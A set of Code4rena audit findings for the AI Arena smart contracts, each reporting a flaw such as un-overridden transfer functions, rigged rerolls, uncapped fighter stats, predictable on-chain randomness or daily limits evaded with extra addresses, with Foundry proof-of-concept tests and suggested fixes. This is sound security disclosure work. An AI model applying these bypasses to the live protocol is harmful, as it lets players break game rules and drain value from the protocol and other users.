AI Arena - cats's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355-L365 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175-L183

Vulnerability details

Vulnerability Details

Fighters in the protocol are represented as NFTs and can be traded between players. There is a function with custom logic whether a transfer of a fighter is currently allowed:

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

It is invoked when a player tries to call the overridden transferFrom or safeTransferFrom.

The issue is that the ERC721 contract has an additional safeTransferFrom function that includes the bytes param, and it is not overridden in FighterFarm, so it can be called freely.

This allows Alice to bypass the require statements if she wants to.

Impact

Fighters can be staked and still transferred, as well as the receiver of a transfer can have a balance > MAX_FIGHTERS_ALLOWED. This should not be possible. I have classified the issue as High severity as one of the main invariants that should not be broken is to be able to stake and then transfer a fighter.

Proof of Concept

Add the code below to RankedBattle.t.sol and run with forge test --mt testBypassCustomLogic -vvvv

    function testBypassCustomLogic() public {
        // Creating instance of Alice and Bob, funding Alice with $NRN for staking later
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        _fundUserWith4kNeuronByTreasury(alice);

        // Minting Alice 10 fighter NFTs to fill up her MAX_FIGHTERS_ALLOWED
        for (uint8 i = 0; i < 10; i++) {
        _mintFromMergingPool(alice);
        assertEq(_fighterFarmContract.ownerOf(i), alice);
        }

        // Expecting revert to mint a new one for Alice
        vm.expectRevert();
        _mintFromMergingPool(alice);

        // Minting one to Bob and expecting revert on transfer to Alice using the intended function
        _mintFromMergingPool(bob);
        assertEq(_fighterFarmContract.ownerOf(10), bob);
        vm.startPrank(bob);
        vm.expectRevert();
        _fighterFarmContract.transferFrom(bob, alice, 10);

        // Now transferring with the function that has not been overridden - successful
        _fighterFarmContract.safeTransferFrom(bob, alice, 10, "");
        assertEq(_fighterFarmContract.ownerOf(10), alice);
        assertEq(_fighterFarmContract.balanceOf(alice), 11);

        // Now let's try staking one of Alice's fighters and transferring it to Bob while staked (not allowed)
        vm.startPrank(alice);
        _rankedBattleContract.stakeNRN(100e18, 0);

        // Expecting revert with intended transfer func
        vm.expectRevert();
        _fighterFarmContract.transferFrom(alice, bob, 0);

        // Works with the other function though
        _fighterFarmContract.safeTransferFrom(alice, bob, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), bob);
    }

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

Override the other safeTransferFrom function as well, or better yet, override the internal transfer function of ERC721.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L212 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

Vulnerability Details

When an admin creates an item they pass a bool if the item is allowed to be transferred:

        require(isAdmin[msg.sender]);
        allGameItemAttributes.push(
            GameItemAttributes(
                name_,
                finiteSupply,
@>              transferable,
                itemsRemaining,
                itemPrice,
                dailyAllowance
            )
        );

This dictates whether an item is allowed to be transferred or not. Items are minted in ERC1155 standard, and later if a user wants to transfer a transferrable item, the safeTransferFrom function is overridden with the following require statement:

        require(allGameItemAttributes[tokenId].transferable);

The issue is that the ERC1155 contract that is inherited has an additional function for making transfers which has not been overridden. The function allows the exact same logic except it skips the custom require statement implemented by the protocol to check if an item is transferrable. Due to this, players can freely transfer items even if they're not allowed to be transferred.

Impact

Players can transfer items that are created as non-transferrable.

Proof of Concept

Add the code below to GameItems.t.sol and run with forge test --mt testBypassTransferBool -vvvv

    function testBypassTransferBool() public {
        // Creating instance of Alice and Bob, funding Alice with $NRN to buy
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        _fundUserWith4kNeuronByTreasury(alice);
        
        // Creating non-transferrable game item
        _gameItemsContract.createGameItem("Non Transferrable Item", "", true, false, 10_000, 1 * 10 ** 18, 10);

        // Buying an item with Alice, item is with id 1 since another one already exists at 0 that is transferrable
        vm.startPrank(alice);
        _gameItemsContract.mint(1, 1);
        assertEq(_gameItemsContract.balanceOf(alice, 1), 1);

        // This should now fail since item is set as non-transferrable
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(alice, bob, 1, 1, "");

        uint256[] memory ids = new uint256[](1);
        ids[0] = 1;

        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;

        // This will succeed though
        _gameItemsContract.safeBatchTransferFrom(alice, bob, ids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(bob, 1), 1);
        assertEq(_gameItemsContract.balanceOf(alice, 1), 0);
    }

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

Override both functions, or better yet, override the internal transfer function.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L100-L104 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L509

Vulnerability details

Vulnerability Details

There are numerous ways for users to mint fighters in the system, one of which is to redeem a Mint Pass. Mint passes are given to the community pre-launch. The issue is that the current logic in the function to redeem a mint pass allows the user redeeming it to customize every single parameter passed to create a new fighter.

    function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 

Being able to influence all the parameters gives the user the ability to mint the rarest most valued NFT possible, ticking all different rarity checks in the protocol:

1. Custom DNA to ensure all rarest Physical Attributes which are ranked from Bronze to Diamond are minted
2. Custom Icons array to ensure rare identifiers like beta helmet, red diamond eyes or bowling ball hands are minted
3. Custom Fighter Type to ensure the dendroid bool is set to true and fighter minted is rarest type

It seems to me this is not the intended function logic as it's counter-intuitive to allow anyone with a mint pass to redeem the rarest and most high valued possible NFT arbitrarily.

Impact

Users with mint pass can always redeem with accuracy the rarest most high valued NFT, which in turn will just make it less valuable the more people have it.

Proof of Concept

Simple issue.

Tools Used

Manual Review

Recommended Mitigation Steps

Owners to pre-randomize mint passes and hash them along with the receiver's address. Use merkle tree for validation when users claiming. This way if the mint passes are still to have some rare quality for early community members, admins have control over how many ensured rare attributes per fighter are assigned.

That or the function to randomize the stats upon the moment of redeeming, could potentially user Chainlink VRF or some similar service for true randomness.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L380 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L385 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470-L472 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L383-L385 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L107-L108

Vulnerability details

Vulnerability Details

Users are allowed to reroll their fighters a number of times to generate new stats like physical attributes, weight and element. One of the parameters that is supplied by the player is the fighterType. Fighter type in the protocol (currently) is a way to determine whether the creation of a new fighter is a normal NFT or a special dendroid NFT. Type 0 == normal, 1 == dendroid.

However, in the context of the reroll function the arbitrary input passed by the player as fighterType is used to influence the new rerolled fighter stats as well as the new rerolled physical attributes.

            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );

Since the return values newDna and element of the rerolled fighter's base are influenced by the user's input, this creats the following issue:

There is no check in the reroll function if the passed fighter type actually matches with the user owned fighter's type, due to this, the element that is returned and applied to the fighter can access a pool of elements that are different and unavailable to the original fighter's type. The aim of the function is not to be able to access new stats from a different generation/fighter type but to reroll the ones of your current fighter. As time goes and with new added types and elements, this allows Alice that has an NFT of type 0 to reroll with access to elements of type 2 which should not be possible and is unintended.

        uint256 element = dna % numElements[generation[fighterType]];

Furthermore, if the supplied fighterType is !=0 the newDna generated is uint256(fighterType). This allows Alice to also reroll her fighter's dna as if another type.

        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);

Later in the reroll, newDna and generation[fighterType] are passed to reroll the new physical attributes of the fighter which are simply cosmetic/visual aspects of a fighter but are ranked by rarity from Bronze to Diamond.

As you can see here the passed variables serve as an input to create visuals with varying rarity which should not be able to be influenced arbitrarily by the user.

uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;

uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);

Impact

The intent of the function is for a player to reroll their fighter with new "randomized" stats/physical attributes, by influencing fighterType and newDna the user can pre-compute the uint256(fighterType) that rerolls the fighter, as well as access another pool/generation of cosmetics. Randomness is gamed.

Proof of Concept

Above shown examples of stats that can be influenced by players which are not allowed to be influenced arbitrarily.

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

Do not allow the player to influence the newDna when rerolling a fighter by passing an arbitrary fighterType param.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L36 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L132 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370

Vulnerability details

Vulnerability Details

Players can reroll their fighters to randomize their stats with new ones. Each fighter has their own respective fighter type, currently there are only 2 in the protocol - normal champions and special dendroids, and each fighter type has a limited number of rerolls. At the start, both types have only 3 rerolls available per fighter.

Whenever a new generation of that fighter type starts, they are added +1 more reroll.

The issue is that when a player rerolls their fighter, they are allowed to arbitrarily pass in the fighterType and the function has no input validation if what the user passes matches up with the type of the fighter they're rerolling.

The only thing that is checked is that the current number of rerolls of the token are less than the max rerolls allowed for that fighter type.

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
@>      require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }    

This means that Alice can reroll her fighter more times than her fighter type allows by passing in another fighter type when the generation of that type is increased, since it gets an additional reroll. Note, even if her NFT's type is not of the one she passes as a param, she can still reroll as many times as the passed type can.

Impact

Players can use up more rerolls than their fighter's type is limited to by just passing other fighter type's since there's no input validation to see if the token matches the fighter type passed.

Proof of Concept

1. Alice rerolls 3 times with 0 passed as her fighter's type (champion)
2. She is at her limit, but another fighter type's generation, dendroid for example, is increased, thus the max rerolls there are now 4
3. Alice rerolls again with 1 passed as fighter type (dendroid)
4. Alice rerolls for the 4th time while her fighter type only allows 3

Tools Used

Manual Review

Recommended Mitigation Steps

Input validation if the passed fighter type matches with the player's.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L448-L451 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L111-L132 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L142 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L313-L331 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L219 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L259 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L499-L500 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L503-L504

Vulnerability details

Vulnerability Details

Players can distribute a portion of the points they win in battle to the Merging Pool contract. By accumulating points in that contract, they have a higher chance of being picked to win a reward NFT Fighter.

There are various different stats that fighters posses, one of them being weight - weight is the main stat that determines other battle attributes as per the documentation.

"The relative composition of the metal alloy determines a fighter’s weight in the game. A fighter’s weight is the primary determinant of its other relative strength and weaknesses (i.e. all other battle attributes are a function of weight). Additionally, it is used to calculate how far the fighter moves when being knocked back."

When a player claims a reward NFT from the Merging Pool contract, they are allowed to pass 3 params for the creation of their fighter, that being the AI Model URI, AI Model Type and Custom Attributes - the custom attributes array holds element and weight:

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    )

After which the Merging Pool calls upon the Fighter Farm contract to create a new fighter for the player, passing in those 3 params.

The issue is that when the player inputs the weight/element, there is no input validation on the number that they give. If we look at all other functions in the Fighter Farm contract that mint fighters, we can see that both element and weight are always capped at 100:

1. claimFighters
2. redeemMintPass

When 100 is passed as element, the _createNewFighter() function just generates new stats based on the dna and fighter type. But if another number is given, the fighter is generated with the exact numbers the user inputs for element and weight.

Although the idea of claiming a reward is to be able to influence the element and weight to some extent, this allows the player to choose values that are out of normal expected behavior range. Additional clarification by the sponsor is needed about the off-chain game server in the judging process, but the point is that this issue allows a player to mint a fighter with values outside of the expected behavior range.

Impact

Player is able to mint a fighter with element and weight outside of the normal protocol expected range. Due to game server being off-chain the extent of impact cannot be determined by me.

PoC shows I can just mint a fighter with 39158 element and 77777 weight.

Proof of Concept

Add the code below to MergingPool.t.sol and run with forge test --mt testNoMaxLimit -vvvv

    function testNoMaxLimit() public {
        // Adjusting Merging Pool to only pick 1 winner for reward NFT
        vm.prank(_ownerAddress);
        _mergingPoolContract.updateWinnersPerPeriod(1);

        // Creating instance of Alice and minting her a fighter so it hypothetically gets picked to win an NFT
        address alice = makeAddr("alice");
        _mintFromMergingPool(alice);
        assertEq(_fighterFarmContract.ownerOf(0), alice);

        // Creating winners array
        uint256[] memory _winners = new uint256[](1);
        _winners[0] = 0;

        // Winner of roundId 0 is picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);

        // Winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == alice, true);

        // Alice instantiates the data to pass in as params for the reward claim
        string[] memory _modelURIs = new string[](1);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](1);

        // As long as element != 100 it will go into the else statement of _createNewFighter
        // Setting randomly inflated numbers that are out of normal expected behavior for element and weight
        _customAttributes[0][0] = uint256(39158);
        _customAttributes[0][1] = uint256(77777);

        // Alice claims reward 
        vm.prank(alice);
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        // Caching the new fighter's stats and asserting they are indeed what Alice passed
        (, , uint256 rewardWeight, uint256 rewardElement, , , ) = _fighterFarmContract.getAllFighterInfo(1);
        assertEq(rewardElement, 39158);
        assertEq(rewardWeight, 77777);
    }

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

Add input validation to the mintFromMergingPool() function to cap element/weight at 100.

function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
+       require(customAttributes[0] <= 100 && customAttributes[1] <= 100);
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L324

Vulnerability details

Vulnerability Details

Users are allowed to reroll their fighters a number of times to generate new random stats like physical attributes, weight and element.

The dna variable that is used to create the new "random" stats for a fighter reroll is derived from the keccak256 hash of on-chain public variables. Users can run the stats generation locally and see what the new stats would be before deciding if the reroll is worth it or not. This games and bypasses the randomization element in the rerolling system. Furthermore, certain elements and body types counter other ones, and by knowing what the new re-rolled stats would be ahead of time, a player can decide if the reroll will give him the upper hand in an upcoming fight.

Physical Attributes also have rarity levels from Bronze to Diamond, knowing this ahead of time a user can determine if the re-rolled NFT will be more valuable in terms of rarity than his current version and decide if the re-roll is worth it.

Additionally, when a user mints a new fighter when receiving a reward from the Merging Pool, the dna there is also predictable:

        _createNewFighter(
            to, 
@>          uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );

A user could hold on from claiming a merging pool reward until they know beforehand that at some exact number of fighters.length, a good NFT will be minted.

Impact

Users can predict ahead of time new rerolled stats and physical attributes, as well as mint reward stats, when that should be random and impossible to predict.

Proof of Concept

For the PoC I have created new "simulation contracts" instances which would be the ones that a user can run locally on their computer to pre-compute the random generation. After that we compare that the simulated NFT's reroll is exactly the same as the real instance's reroll.

1. In FighterFarm.t.sol add the following to // CONTRACT INSTANCES // section

    FighterFarm internal _fighterFarmContractSimulation;
    AiArenaHelper internal _helperContractSimulation;
    MergingPool internal _mergingPoolContractSimulation;

2. In FighterFarm.t.sol add the following to setUp()

        _fighterFarmContractSimulation = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);
        _helperContractSimulation = new AiArenaHelper(_probabilities);
        _mergingPoolContractSimulation =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContractSimulation));
        _fighterFarmContractSimulation.instantiateAIArenaHelperContract(address(_helperContractSimulation));
        _fighterFarmContractSimulation.setMergingPoolAddress(address(_mergingPoolContractSimulation));
        _fighterFarmContractSimulation.instantiateNeuronContract(address(_neuronContract));

3. Add the code below to FighterFarm.t.sol and run with forge test --mt testPredictReroll -vvvv

    function testPredictReroll() public {
        // Creating instance of Alice and giving her $NRN for reroll
        address alice = makeAddr("alice");
        _fundUserWith4kNeuronByTreasury(alice);

        // Minting 2 NFTs - one on the "real" fighterFarm contract instance (which would be protocol's on-chain real implementation)
        // and one on a "simulated" local instance on Alice's computer
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(alice, "_neuralNetHash", "original", [uint256(1), uint256(80)]);

        vm.prank(address(_mergingPoolContractSimulation));
        _fighterFarmContractSimulation.mintFromMergingPool(alice, "_neuralNetHash", "original", [uint256(1), uint256(80)]);

        // Adding both as spender so she can reroll
        _neuronContract.addSpender(address(_fighterFarmContract));
        _neuronContract.addSpender(address(_fighterFarmContractSimulation));

        // Alice rerolls both NFTs
        vm.startPrank(alice);
        _fighterFarmContract.reRoll(0, 0);
        _fighterFarmContractSimulation.reRoll(0, 0);

        // Caching the new rerolled attributes, elements and weights both on protocol and simulation instances to compare
        (, uint256[6] memory simulationAttributes, uint256 simulationWeight, uint256 simulationElement, , , ) = _fighterFarmContractSimulation.getAllFighterInfo(0);
        (, uint256[6] memory realAttributes, uint256 realWeight, uint256 realElement, , , ) = _fighterFarmContract.getAllFighterInfo(0);
        uint256 simulationHead = simulationAttributes[0];
        uint256 simulationEyes = simulationAttributes[1];
        uint256 simulationMouth = simulationAttributes[2];
        uint256 realHead = realAttributes[0];
        uint256 realEyes = realAttributes[1];
        uint256 realMouth = realAttributes[2];

        // All assertions are successful, Alice has predicted what the reroll will change on her fighter and can decide if it's worth it before spending her $NRN
        // Conclusion: Fighter stats generation is not truly random
        assertEq(simulationHead, realHead);
        assertEq(simulationEyes, realEyes);
        assertEq(simulationMouth, realMouth);
        assertEq(simulationWeight, realWeight);
        assertEq(simulationElement, realElement);
    }

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

Add real randomness through service such as Chainlink VRF.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/GameItems.sol#L158-L161 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/GameItems.sol#L212

Vulnerability details

Vulnerability Details

Some items have a daily item allowance limit of how many a user can buy. Once a user buys up enough to hit their limit, they are required to wait for the dailyAllowanceReplenishTime for that item id.

        require(
            dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp || 
            quantity <= allowanceRemaining[msg.sender][tokenId]
        );

The limit can be completely bypassed if a user uses multiple addresses to purchase the items and due to this a few issues exist:

If the item is transferrable, they can buy the item from n amount of addresses and transfer all items to the main user address. Although this alone is an issue since users have a set daily limit and this bypasses it, it is an even bigger issue if the item has a finite quantity. Then, it can be monopolized by a single player, buying out all available stock from multiple addresses and then looking to negotiate and sell the items to other players for a profit.

Impact

1. Bypassing game item daily limit imposed onto users by the protocol
2. Ability to monopolize an item if transferable & finite

Proof of Concept

Add the code below to GameItems.t.sol and run with forge test --mt testDailyItemAllowance -vvvv

    function testDailyItemAllowance() public {
        // Creating instance of Alice and AliceTwo
        address alice = makeAddr("alice");
        address aliceTwo = makeAddr("aliceTwo");

        // Funding Alice & AliceTwo with $NRN
        vm.startPrank(_treasuryAddress);
        _neuronContract.transfer(alice, 10_000 * 10 ** 18);
        _neuronContract.transfer(aliceTwo, 10_000 * 10 ** 18);

        // Buying the maximum daily limit of batteries as Alice
        vm.startPrank(alice);
        _gameItemsContract.mint(0, 10);
        assertEq(_gameItemsContract.balanceOf(alice, 0), 10);

        // Trying to buy 1 more (expecting it to fail) and asserting Alice still has only 10
        vm.expectRevert();
        _gameItemsContract.mint(0, 1);
        assertEq(_gameItemsContract.balanceOf(alice, 0), 10);

        // Buying 10 batteries as AliceTwo and transferring them to Alice
        vm.startPrank(aliceTwo);
        _gameItemsContract.mint(0, 10);
        assertEq(_gameItemsContract.balanceOf(aliceTwo, 0), 10);
        _gameItemsContract.safeTransferFrom(aliceTwo, alice, 0, 10, "");

        // Checking Alice's balance now
        assertEq(_gameItemsContract.balanceOf(alice, 0), 20);
    }

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

The monopolizing issue only occurs for transferable/finite quantity items. There can be various solutions:

1. Award players that win a number of fights in a row by whitelisting their address to buy these exclusive items.
2. Pick a new random pool of players daily that are whitelisted to buy the item.

These are 2 I could think of that seem logical.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L345-L346 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/VoltageManager.sol#L107-L108 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/GameItems.sol#L147-L176 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/VoltageManager.sol#L93-L99 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/FighterFarm.sol#L333-L348

Vulnerability details

Vulnerability Details

Voltage is the currency used when players initiate a battle with their fighter in the protocol - users pay a flat VOLTAGE_COST.

        if (initiatorBool) {
            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
        }

Users have 2 options when it comes to replenishing their Voltage:

1. There is a daily replenish time which fills it back up to the maximum of 100
2. They purchase a battery item from the protocol's GameItems contract and then use it to fill up to 100

But since fighters are NFTs and can be transferred, a player can use up the daily voltage on their address to participate in battles, then transfer the fighter to another address and use up voltage from there and so on indefinitely. The protocol game item contract is designed for users to buy batteries in order to replenish their Voltage and fight. If a user shuffles the fighter between accounts they completely bypass the daily limit without the need to buy batteries which is value lost for the protocol for every battery purchase that is avoided.

Impact

Bypassing daily address Voltage limit imposed onto users by the protocol.

Proof of Concept

Add the code below to FighterFarm.t.sol and run with forge test --mt testVoltageLimitBypass -vvvv

    function testVoltageLimitBypass() public {
        // Creating instance of Alice and Alice 2
        address alice = makeAddr("alice");
        address aliceTwo = makeAddr("aliceTwo");
        
        // Minting Alice a fighter NFT
        _mintFromMergingPool(alice);

        // Using Voltage with Alice from her primary address using spendVoltage as the Ranked Battle contract would when a fight is initiated
        vm.startPrank(alice);
        _voltageManagerContract.spendVoltage(alice, 10);

        // Caching Alice's left Voltage
        uint256 aliceVoltageLeft = _voltageManagerContract.ownerVoltage(alice);

        // Transferring fighter NFT to Alice's secondary address
        _fighterFarmContract.transferFrom(alice, aliceTwo, 0);

        // Using Voltage with Alice's secondary address now
        vm.startPrank(aliceTwo);
        _voltageManagerContract.spendVoltage(aliceTwo, 20);

        // Caching AliceTwo's left Voltage
        uint256 aliceTwoVoltageLeft = _voltageManagerContract.ownerVoltage(aliceTwo);

        // Console logging both accounts' left Voltage, Primary Alice used up 10, so should have 90 remaining
        // Secondary Alice used up 20, so should have 80 remaining
        console.log("Primary Alice left Voltage:", aliceVoltageLeft);
        console.log("Secondary Alice left Voltage:", aliceTwoVoltageLeft);
    }

Tools Used

Manual Review/Foundry

Recommended Mitigation Steps

I think refactoring Voltage to be tracked per fighterId instead of per address is a more logical approach.

Assessed type

Other